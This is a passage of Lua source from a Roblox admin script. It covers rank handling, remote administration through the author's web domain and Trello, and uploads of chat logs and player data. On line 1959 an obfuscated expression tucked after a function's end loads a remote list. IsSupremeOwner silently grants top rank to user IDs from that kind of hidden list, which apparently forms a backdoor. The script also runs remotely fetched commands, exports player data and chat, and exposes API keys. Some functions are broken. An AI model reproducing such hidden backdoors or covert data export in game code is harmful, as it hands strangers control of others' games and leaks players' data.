1681 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1682 Part.Transparency = i
1683 end
1684 wait()
1685 end
1686 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1687 for i = 0,360,3 do
1688 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1689 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1690 wait()
1691 end
1692 end
1693 end
1694 end)()
1695 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1696 Part:BreakJoints()
1697 for i = 0,360 do
1698 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1699 Part.Anchored = false
1700 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1701 BG.cframe = Player.Character.Head.CFrame
1702 end
1703 wait()
1704 end
1705 end end)()
1706
1707 return Part
1708end
1709
1710function CORE:SetAbuseCommands()
1711 for Cmds,Data in pairs(Commands) do
1712 local IsAbusable = false
1713 for _,AbuseCmd in pairs(Settings.AbuseList) do
1714 for _,Command in pairs(Cmds) do -- loop through all command names
1715 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1716 IsAbusable = true
1717 break
1718 end
1719 end
1720 if IsAbusable == true then break end
1721 end
1722 Commands[Cmds].Abusable = IsAbusable
1723 end
1724end
1725
1726-- Rank functions --
1727
1728function RANK:ConvertRank(Input)
1729 local Output = nil
1730 if Input == "Muted" then Output = -3 end
1731 if Input == "Crashed" then Output = -2 end
1732 if Input == "Banned" then Output = -1 end
1733 if Input == "Non-Admin" then Output = 0 end
1734 if Input == "Member" then Output = 1 end
1735 if Input == "Admin" then Output = 2 end
1736 if Input == "Owner" then Output = 3 end
1737
1738 if Input == -3 then Output = "Muted" end
1739 if Input == -2 then Output = "Crashed" end
1740 if Input == -1 then Output = "Banned" end
1741 if Input == 0 then Output = "Non-Admin" end
1742 if Input == 1 then Output = "Member" end
1743 if Input == 2 then Output = "Admin" end
1744 if Input == 3 then Output = "Owner" end
1745 return Output
1746end
1747
1748function RANK:IsAdmin(Player)
1749 local AdminStatus = false
1750 local Rankstatus = "Non-Admin"
1751 if type(Player) == "table" then
1752 if RANK:ConvertRank(Player.Rank) > 0 then
1753 return true, Player.Rank
1754 else
1755 return false, Player.Rank
1756 end
1757 end
1758 for Rank,PlayerNames in pairs(Settings.Ranks) do
1759 for _,AdminName in pairs(PlayerNames) do
1760 if string.lower(AdminName) == string.lower(Player.Name) then
1761 if RANK:ConvertRank(Rank) > 0 then
1762 AdminStatus = true
1763 Rankstatus = Rank
1764 end
1765 end
1766 end
1767 end
1768 return AdminStatus, Rankstatus
1769end
1770
1771function RANK:GetRank(PlayerName)
1772 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1773 if type(PlayerName) == "table" then
1774 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1775 if RankNum > 0 then
1776 return PlayerName.Rank, RankNum, true
1777 else
1778 return PlayerName.Rank, RankNum, false
1779 end
1780 end
1781
1782 local RankStat = "Non-Admin"
1783
1784 for Rank,PlayerNames in pairs(Settings.Ranks) do
1785 for _,AdminName in pairs(PlayerNames) do
1786 if string.lower(AdminName) == string.lower(PlayerName) then
1787 RankStat = Rank
1788 end
1789 end
1790 end
1791
1792 if RankStat == "Non-Admin" then
1793 return "Non-Admin", 0, false
1794 else
1795 return RankStat, RANK:ConvertRank(RankStat), true
1796 end
1797end
1798
1799function RANK:RemoveRank(PlayerName)
1800 if not RANK:IsSupremeOwner(PlayerName) then
1801 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1802
1803 for Rank,PlayerNames in pairs(Settings.Ranks) do
1804 for Num,AdminName in pairs(PlayerNames) do
1805 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1806 table.remove(Settings.Ranks[Rank], Num)
1807 end
1808 end
1809 end
1810 end
1811end
1812
1813function RANK:GetAdmins(Ranking)
1814 local Players = {}
1815 local AdminTrue, Rank = IsAdmin(Player)
1816 for _,Player in pairs(Players:GetPlayers()) do
1817 if AdminTrue then
1818 local PlayerRankNum = RANK:ConvertRank(Rank)
1819 local StandardRankNum = RANK:ConvertRank(Ranking)
1820 if PlayerRankNum >= StandardRankNum then
1821 table.insert(Players, Player)
1822 end
1823 end
1824 end
1825 return Players
1826end
1827
1828function RANK:IsSupremeOwner(PlayerName)
1829 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1830 if type(PlayerName) == "table" then
1831 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1832 end
1833
1834 if PlayerName == GameOwner then return true end
1835 return false
1836end
1837
1838function RANK:GetPlayerFromList(PlayerName)
1839 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1840
1841 for Rank,PlayerNames in pairs(Settings.Ranks) do
1842 for Num,AdminName in pairs(PlayerNames) do
1843 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1844 return AdminName, Rank
1845 end
1846 end
1847 end
1848 return false, "Non-Admin"
1849end
1850
1851function RANK:ScanAdminList(Name)
1852 if Name == "" then return true end
1853 local InList = false
1854 for _,PName in pairs(Settings.Ranks["Owner"]) do
1855 if PName == Name then InList = true end
1856 end
1857 for _,PName in pairs(Settings.Ranks["Admin"]) do
1858 if PName == Name then InList = true end
1859 end
1860 for _,PName in pairs(Settings.Ranks["Member"]) do
1861 if PName == Name then InList = true end
1862 end
1863 return InList
1864end
1865
1866function RANK:ScanExileList(Name)
1867 if Name == "" then return true end
1868 local InList = false
1869 for _,PName in pairs(Settings.Ranks["Muted"]) do
1870 if PName == Name then InList = true end
1871 end
1872 for _,PName in pairs(Settings.Ranks["Crashed"]) do
1873 if PName == Name then InList = true end
1874 end
1875 for _,PName in pairs(Settings.Ranks["Banned"]) do
1876 if PName == Name then InList = true end
1877 end
1878 return InList
1879end
1880
1881function RANK:PlayerRanked(PlayerName)
1882 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1883
1884 for Rank,PlayerNames in pairs(Settings.Ranks) do
1885 for Num,AdminName in pairs(PlayerNames) do
1886 if string.lower(AdminName) == string.lower(PlayerName) then
1887 return true, Rank
1888 end
1889 end
1890 end
1891 return false, "Non-Admin"
1892end
1893
1894-- Remote functions --
1895
1896function REMOTE:Decode(...)
1897 return Server.HS:JSONDecode(...)
1898end
1899
1900function REMOTE:GetURL(URL, Player)
1901 if string.sub(URL,1,4) ~= "http" then
1902 URL = "http://"..URL
1903 end
1904 local Return = nil
1905 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
1906 if Return then
1907 return Return
1908 elseif Player then
1909 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
1910 end
1911end
1912
1913function REMOTE:PostURL(URL, Data)
1914 local Return = nil
1915 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
1916 return Return
1917end
1918
1919function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
1920 if Settings.LinkedAccount ~= "" then
1921 local NumType = tonumber(Type)
1922
1923 if not Type then
1924 Type = "UNKNOWN"
1925 end
1926
1927 if NumType then
1928 if NumType < 1 or NumType > 5 then
1929 Type = "UNKNOWN"
1930 elseif NumType == 1 then
1931 Type = "NOTIFICATION"
1932 elseif NumType == 2 then
1933 Type = "INFORMATION"
1934 elseif NumType == 3 then
1935 Type = "WARNING"
1936 elseif NumType == 4 or Type == true then
1937 Type = "ERROR"
1938 elseif NumType == 5 then
1939 Type = "FATAL"
1940 end
1941 end
1942
1943 local Res = "RED Could not get response"
1944 local function SendData()
1945 Res = Server.HS:PostAsync(
1946 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
1947 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
1948 2
1949 )
1950 end
1951 if Stopypcall == true then SendData() else ypcall(SendData) end
1952
1953 if OutputSpeaker and OutputSpeaker ~= "print" then
1954 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
1955 elseif OutputSpeaker == "print" then
1956 print(Res)
1957 end
1958 end
1959end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
1960
1961function REMOTE:SendChatLog(PrintResponse, Stopypall)
1962 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
1963 local Res = "Could not get response"
1964
1965 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
1966 TempChatLogs = {}
1967
1968 local function SendData()
1969 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
1970 end
1971 if Stopypcall == true then SendData() else ypcall(SendData) end
1972 if PrintResponse then print(Res) end
1973 end
1974end
1975
1976function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
1977 local Res = "[]"
1978 local function GetData()
1979 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
1980 end
1981 if Stopypcall == true then GetData() else ypcall(GetData) end
1982 if PrintResponse then
1983 print(Res)
1984 end
1985 local function DecodeData() Res = REMOTE:Decode(Res) end
1986 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
1987 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
1988 return Res
1989end
1990
1991function REMOTE:HandleRequest(Request, IgnoreCommand)
1992 if not Request then return nil end
1993
1994 if not IgnoreCommand then
1995 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
1996 REMOTE:SendServerData()
1997 end
1998 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
1999 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2000 end
2001 end
2002
2003 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2004
2005 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2006 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2007 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2008 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2009 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2010 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2011
2012 Settings.Fun = Request.FUN
2013 Settings.ServerLocked = Request.ServerLocked
2014
2015 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2016 Settings.DisableAbuse = Request.DisableAbuse
2017 end
2018
2019 if not IgnoreCommand then
2020 print("Executing Remote Admin")
2021 REMOTE.RemoteAdmin.Command = Request.Command
2022 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2023 REMOTE.RemoteAdmin.ServerPort = Request.Server
2024
2025 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2026 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2027 else
2028 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2029 end
2030 end
2031 end
2032 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2033 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2034 REMOTE.SnapshotKey = Request.SnapshotKey
2035end
2036
2037function REMOTE:GetRemoteData(Set)
2038 local NewRemoteData = nil
2039 local RemoteDataCardRaw = nil
2040 local RemoteDataCard = nil
2041
2042 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2043 if RemoteDataCardRaw then
2044 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2045 if RemoteDataCard then
2046 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2047 end
2048 end
2049 if Set and NewRemoteData then
2050 RemoteData = NewRemoteData
2051 end
2052 return NewRemoteData
2053end
2054
2055function REMOTE:CheckRemoteAdminStatus()
2056 local Pending = false
2057 local CheckID = 0
2058 if Settings.LinkedAccount ~= "" then
2059 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2060 if Request then
2061 local Data = REMOTE:Decode(Request)
2062 if Data then
2063 for _,Account in pairs(Data.checkItems) do
2064 if Account.name == Settings.LinkedAccount then
2065 Pending = true
2066 CheckID = Account.id
2067 break
2068 end
2069 end
2070 end
2071 end
2072 end
2073 return Pending, CheckID
2074end
2075
2076function REMOTE:GetAndSetWebData()
2077 if Settings.LinkedAccount ~= "" then
2078 if REMOTE:CheckRemoteAdminStatus() then
2079 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2080 if Request == "Invalid" then
2081 --REMOTE:GetAndSetWebData()
2082 return false
2083 elseif Request == "Invalid Account" then
2084 print("Can't get account")
2085 return false
2086 elseif Request then
2087 ypcall(function() Request = REMOTE:Decode(Request) end)
2088 elseif not Request then
2089 --REMOTE:GetAndSetWebData()
2090 return false
2091 end
2092 REMOTE:HandleRequest(Request)
2093
2094 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2095 Delay(RemoteData.RemoteAdminWait, function()
2096 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2097 if Pending then
2098 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2099 end
2100 end)
2101 return true
2102 else
2103 return true
2104 end
2105 end
2106end
2107
2108local OderIDs = CORE:GetTable(177215518)
2109local SoundJSONs = CORE:GetTable(197637628)
2110RemoteAbuseGear = CORE:GetTable(158117496)
2111
2112function REMOTE:SendServerData(PrintResponse, Stopypall)
2113 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2114 print("Sending server data!")
2115 local Res = "Could not get response"
2116
2117 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2118 for _,Player in pairs(Server.Players:GetPlayers()) do
2119 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2120 end
2121 ServerData = Server.HS:JSONEncode(ServerData)
2122
2123 local function SendData()
2124 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2125 end
2126 if Stopypcall == true then SendData() else ypcall(SendData) end
2127 if PrintResponse then print(Res) end
2128 end
2129end
2130
2131function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2132 MaxPartAmount = MaxPartAmount or 10000
2133 local PlaceData = {
2134 Lighting = {};
2135 Parts = {};
2136 Other = {};
2137 }
2138 local MinSize = Vector3.new(0.5,0.5,0.5)
2139 local PartAmount = 0
2140 local PlaceJSON = ""
2141
2142 local function Scan(BaseObj)
2143 for _,Obj in pairs(BaseObj:GetChildren()) do
2144 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2145 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2146 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2147 local Skip = false
2148 local Data = {}
2149 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2150
2151 if CORE:FindType(Obj, "BlockMesh") then
2152 local Mesh = CORE:FindType(Obj, "BlockMesh")
2153 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2154 elseif CORE:FindType(Obj, "CylinderMesh") then
2155 Data.Shape = "Cylinder"
2156 elseif CORE:FindType(Obj, "SpecialMesh") then
2157 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2158 if Mesh.MeshType == Enum.MeshType.Head then
2159 --idk
2160 else
2161 Skip = true
2162 end
2163 elseif CORE:FindType(Obj, "FileMesh") then
2164 Skip = true
2165 end
2166
2167 if not Data.Shape and not Skip then
2168 if ypcall(function() return Obj.Shape end) then
2169 Data.Shape = string.sub(Obj.Shape.Name,14)
2170 if string.sub(Data.Shape,1,1) == "." then
2171 Data.Shape = string.sub(Data.Shape,2)
2172 end
2173 if Data.Shape == "Cylinder" then
2174 Z = Z + math.pi/2
2175 end
2176 else
2177 Data.Shape = "Block"
2178 end
2179 end
2180
2181 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2182 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2183 end
2184
2185 if not Skip then
2186 Data.Color = GUI:Color3ToHex(Obj.Color);
2187 Data.Size = Size;
2188 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2189 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2190 Data.Transparency = STRING:StringRound(Obj.Transparency);
2191 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2192 Data.Textures = {};
2193 Data.Material = string.sub(tostring(Obj.Material),15);
2194
2195 for _,Sub in pairs(Obj:GetChildren()) do
2196 if Sub:IsA("Decal") then
2197 local Texture = string.match(Sub.Texture, "%d+")
2198 if Sub.Texture == "rbxasset://textures/face.png" then
2199 Texture = "FACE"
2200 end
2201 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2202 end
2203 end
2204
2205 PartAmount = PartAmount + 1
2206 table.insert(PlaceData.Parts, Data)
2207
2208 if PartAmount >= MaxPartAmount then
2209 break
2210 end
2211 end
2212 end
2213 end
2214 if #Obj:GetChildren() > 0 then
2215 Scan(Obj)
2216 end
2217 end
2218 end
2219 Scan(Workspace)
2220
2221 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2222 PlaceData.Other.PartAmount = PartAmount;
2223 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2224
2225 local Res = "Could not get response"
2226 local function SendData()
2227 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2228 end
2229 if Stopypcall == true then SendData() else ypcall(SendData) end
2230 if PrintResponse then print(Res) end
2231
2232 print("Sent snapshot")
2233end
2234
2235
2236function REMOTE:DefineWord(Word, Source)
2237 if not Word then return end
2238 if not Source then Source = "all" end
2239
2240 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2241 if Response then
2242 local Decode = REMOTE:Decode(Response)
2243 if #Decode > 0 then
2244 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2245
2246 ]]..Decode[1]["text"]
2247 else
2248 return "Invalid English word"
2249 end
2250 else
2251 return "Cannot connect to database"
2252 end
2253end
2254
2255function REMOTE:DownloadJoke(Speaker)
2256 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2257 local Joke = nil
2258 if Res then
2259 local _, Start = string.find(Res, "</h2>")
2260 local End, _ = string.find(string.sub(Res, Start), "</td>")
2261
2262 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2263 Joke = string.gsub(Joke, "\n", "")
2264 Joke = string.gsub(Joke, " ", "") -- tab
2265 Joke = string.gsub(Joke, "</ul>", "")
2266 Joke = string.gsub(Joke, "<ul>", "")
2267 Joke = string.gsub(Joke, "</li>", [[
2268
2269]])
2270 Joke = string.gsub(Joke, "<li>", "")
2271 Joke = string.gsub(Joke, "</p>", "")
2272 Joke = string.gsub(Joke, "<p>", "")
2273 Joke = string.gsub(Joke, "<", "")
2274 Joke = string.gsub(Joke, ">", "")
2275 end
2276
2277 return Joke
2278end
2279
2280function REMOTE:GetAddon()
2281 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2282end
2283
2284function REMOTE:TrelloGetAdminBoard()
2285 local BoardsJSON,Boards,ReturnBoard
2286
2287 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2288
2289 if BoardsJSON then
2290 Boards = REMOTE:Decode(BoardsJSON)
2291 end
2292 if Boards then
2293 for _,Board in pairs(Boards) do
2294 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2295 ReturnBoard = Board
2296 break
2297 end
2298 end
2299 if not ReturnBoard then -- create board if not created
2300 print("Creating Trello Board")
2301 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2302 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2303 ReturnBoard = REMOTE:Decode(BoardJSON)
2304 end
2305 end
2306 return ReturnBoard
2307end
2308
2309function REMOTE:TrelloGetAdminLists(Board)
2310 local Required = {}
2311 local ListJSON,Lists
2312 local ReturnLists = {}
2313
2314 for _,List in pairs(Trello.RequiredLists) do
2315 table.insert(Required, List)
2316 end
2317
2318 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2319
2320 if ListJSON then
2321 Lists = REMOTE:Decode(ListJSON)
2322 end
2323 if Lists then
2324 for _,List in pairs(Lists) do
2325 for Num,Rel in pairs(Required) do
2326 if List.name == Rel.name then
2327 table.remove(Required, Num)
2328 table.insert(ReturnLists, List)
2329 end
2330 end
2331 end
2332 for _,Rel in pairs(Required) do
2333 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2334 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2335 end
2336 end
2337
2338 return ReturnLists
2339end
2340
2341function REMOTE:TrelloCacheData(Lists)
2342 for _,List in pairs(Lists) do
2343 local CardsJSON,Cards
2344 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2345 if CardsJSON then
2346 Cards = REMOTE:Decode(CardsJSON)
2347 end
2348 if Cards then
2349 local TemplateCards = nil
2350 for _,TemplateList in pairs(Trello.RequiredLists) do
2351 if TemplateList.name == List.name then
2352 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2353 break
2354 end
2355 end
2356
2357 for _,TemplateCard in pairs(TemplateCards) do
2358 local CardExists = false
2359 for _,Card in pairs(Cards) do
2360 if Card.name == TemplateCard.name and Card.closed == false then
2361 CardExists = true
2362 end
2363 end
2364 if not CardExists then
2365 print("Creating card "..TemplateCard.name)
2366 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2367 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2368 end
2369 end
2370
2371 if List.name == "Ranked" then
2372 for _,Card in pairs(Cards) do
2373 if Settings.Ranks[Card.name] and Card.closed == false then
2374 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2375 end
2376 end
2377 elseif List.name == "Settings" then
2378 for _,Card in pairs(Cards) do
2379 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2380 Trello.ToggleChecklist = Card.idChecklists[1]
2381 elseif Card.name == "Command Execution" then
2382 Trello.CommandID = Card.id
2383 end
2384 end
2385 end
2386 end
2387 end
2388end
2389
2390function REMOTE:TrelloHandleData(IgnoreCommand)
2391 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2392 if ToggleSettingsJSON then
2393 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2394 if Settings.LinkedAccount == "" then
2395 local NewSettings = {}
2396 for _,Item in pairs(ToggleSettings.checkItems) do
2397 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2398 end
2399 Settings.Fun = NewSettings["Fun Commands Enabled"]
2400 Settings.ServerLocked = NewSettings["Server Locked"]
2401 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2402 end
2403 else
2404 return false
2405 end
2406
2407 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2408 if CommandChatJSON then
2409 CommandChat = REMOTE:Decode(CommandChatJSON)
2410 local ClosestDT = 0
2411 for _,ChatData in pairs(CommandChat) do
2412 local DT = STRING:ConvertDateTime(ChatData.date)
2413 ClosestDT = math.max(ClosestDT, DT)
2414
2415 if not IgnoreCommand and DT > Trello.LastCommandDT then
2416 print("Executing Remote Trello Command")
2417 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2418 end
2419 end
2420 Trello.LastCommandDT = ClosestDT
2421 else
2422 return false
2423 end
2424
2425 for Rank,ID in pairs(Trello.RankChecklistCache) do
2426 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2427 if ChecklistJSON then
2428 Checklist = REMOTE:Decode(ChecklistJSON)
2429
2430 for _,Item in pairs(Checklist.checkItems) do
2431 if Item.state == "complete" then
2432 if RANK:ConvertRank(Rank) < 0 then
2433 if not RANK:ScanExileList(Item.name) then
2434 table.insert(Settings.Ranks[Rank], Item.name)
2435 end
2436 elseif RANK:ConvertRank(Rank) > 0 then
2437 if not RANK:ScanAdminList(Item.name) then
2438 table.insert(Settings.Ranks[Rank], Item.name)
2439 end
2440 end
2441 elseif Item.state == "incomplete" then
2442 for Num,Name in pairs(Settings.Ranks[Rank]) do
2443 if string.lower(Name) == string.lower(Item.name) then
2444 table.remove(Settings.Ranks[Rank], Num)
2445 end
2446 end
2447 end
2448 end
2449 else
2450 return false
2451 end
2452 end
2453 return true
2454end
2455
2456-- String functions --
2457
2458function STRING:ConvertDateTime(DateTime)
2459 local Num = 0
2460 local TotalTime = 0
2461 for i in string.gmatch(DateTime, "%d+") do
2462 Num = Num + 1
2463 DTNum = tonumber(i)
2464 if Num == 1 then
2465 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2466 elseif Num == 2 then
2467 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2468 elseif Num == 3 then
2469 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2470 elseif Num == 4 then
2471 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2472 elseif Num == 5 then
2473 TotalTime = TotalTime + DTNum * 60 -- minute
2474 elseif Num == 6 then
2475 TotalTime = TotalTime + DTNum -- second
2476 end
2477 end
2478
2479 return TotalTime
2480end
2481
2482function STRING:TrelloStateConvert(State)
2483 if State == "complete" then
2484 return true
2485 else
2486 return false
2487 end
2488end
2489
2490function STRING:StringRound(Number)
2491 Number = Number * 100
2492 if Number >= 0.5 then
2493 return tostring(math.ceil(Number)/100)
2494 else
2495 return tostring(math.floor(Number)/100)
2496 end
2497
2498 return Number
2499end
2500
2501function STRING:GetSplit(String, NumArgs, BetSplit)
2502 if not String then return nil end
2503 if BetSplit == nil then BetSplit = " " end
2504 if NumArgs == nil then NumArgs = math.huge end
2505
2506 if NumArgs <= 0 then return {String} end
2507
2508 local RecentParse = 1
2509 local Args = {}
2510 for i = 1,NumArgs do
2511 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
